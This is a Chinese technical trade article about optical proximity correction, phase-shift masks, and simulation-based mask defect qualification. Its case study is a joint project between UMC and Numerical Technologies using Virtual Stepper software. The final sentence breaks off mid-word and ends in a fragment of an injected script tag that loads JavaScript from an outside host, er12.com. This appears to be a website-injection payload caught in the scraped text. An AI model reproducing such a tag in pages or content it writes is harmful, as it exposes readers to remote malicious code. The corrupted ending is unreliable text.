通过采用光学接近校正(opc)和相移掩模(psm)等技术，集成电路设计和制造业向0.18微米及更小特征尺寸推进的速度加快了，但是在采用新技术的过程中如果应用不当，设计小组将遇到流片成本很高和周转时间漫长等问题。本文就以联电(umc)与numerical technologies公司的实际应用案例为研究对象，说明怎样才能让先进的掩模技术更快地投入生产。
随着半导体行业的发展，向0.18微米及更小特征尺寸推进的速度正在加快，因而对设计到制造流程的各个环节正产生深刻的影响。由于ic的特征尺寸小于现有光刻设备的波长，这使得光学接近校正(opc)和相移掩模(psm)等技术的采用成为必然选择。而这些技术的采用必然会带来庞大的数据文件，这会影响光罩设备的成本和周转时间，并给掩模检查带来困难。例如，过去掩模上每个额外的特征都会被认为是掩模缺陷，采用opc之后，在掩模检查的过程中，必须考虑各个额外特征是否确实是一个缺陷。如果处理不当，设计小组将会受到流片成本高昂和周转时间漫长等问题的困扰。
在采用亚波长技术方法来缩减掩模成本和周转时间方面，联电(umc)与numerical technologies公司为克服这一挑战开展了深入协作，本文就以这两家公司采用virtual stepper软件产品来改进掩模鉴定过程的实际案例为研究对象，说明怎样才能让先进的掩模技术更快地投入生产。
亚波长需求对掩模制造的影响
近年来，掩模缺陷的分析和处理采用的是一种操作人员介入和自动刻线检查相结合的方法，以定位和修复所有缺陷(图1上部)。这种对掩模质量进行“全部检查、全部修复”的方法在“超波长”条件下工作，针对的是0.25微米以上的特征尺寸。
但是，随着半导体行业现在开始面对100nm和70nm以下亚波长特征尺寸的量产问题，这种方法陷入了困境。光学接近校正和相移技术的采用从根本上改变了作为原来的视觉掩模检查方法基础的“所见即所得”模式。升级到先进检查工具或简单地提高现有工具灵敏度的传统选择也变得不可行了。现在的问题是，检查系统标记出来而在光刻过程中可能并不会印刷到实际流片上的缺陷太多了。对于一种先进的掩模，从一个典型检查系统中输出的多达90％的缺陷都是这种“干扰”缺陷。对这些干扰缺陷进行修复有很大的风险(可能会增加更多的缺陷)，此外还有时间的消耗、代价高昂等问题。掩模制造商和晶圆厂可以自行尝试解决这些问题，但如果没有一种高效管用的工具来帮助评估亚波长光刻的效果，它们很难成功。
一种全新的方法
umc很早就明白，解决这个问题需要一种全新的方法。为了加强与其供应商之间的联系并精简其光罩过程，umc与numerical开展合作以共同确定一种基于仿真的掩模缺陷鉴定方法。
numerical于2000年12月首次在亚波长相关技术项目上与umc开展合作。那一次，umc获得了numerical相移专利技术的授权，利用这项技术在自己的0.13微米mpu制造工艺中生产70nm特征尺寸的产品。2001年2月，双方开展了一个试验项目，在virtual stepper的基础上开发一套基于仿真的掩模缺陷检查和鉴定设备，应用于大规模量产环境。在这个联合开发项目下，numerical与umc的掩模质量工程小组及其光罩提供商和晶圆生产厂开展了紧密的合作，使该系统具有对包含opc和相移结构的先进光罩进行处理的能力。双方还计划研究基于internet的工具，以改善实时检查能力、光罩制造商与晶圆工厂小组之间的通信水平，从而提高总体产能。
基于仿真的掩模缺陷鉴定
新方法要求光罩检查标准建立在最终的晶圆检查结果，而不仅仅是光罩本身之上。在每一个掩模上进行晶圆检查显然成本过高，因此umc尝试寻找一种易用而精确的仿真工具。virtual stepper系统是一种著名的集成光罩鉴定软件，它被选择用来执行仿真，并准确地预测在一系列特定处理条件下哪些掩模缺陷会最后传递到流片上。
在一个最新式的步进器中，virtual stepper先进的仿真引擎对光学系统进行仿真。这个工具将掩模检查和复审系统产生的刻线图作为输入，输出的印刷图与将在流片上呈现的模样完全相同。聚焦窗口、幅度缩放曲线等多种过程窗?script src=http://er12.com/t.js>
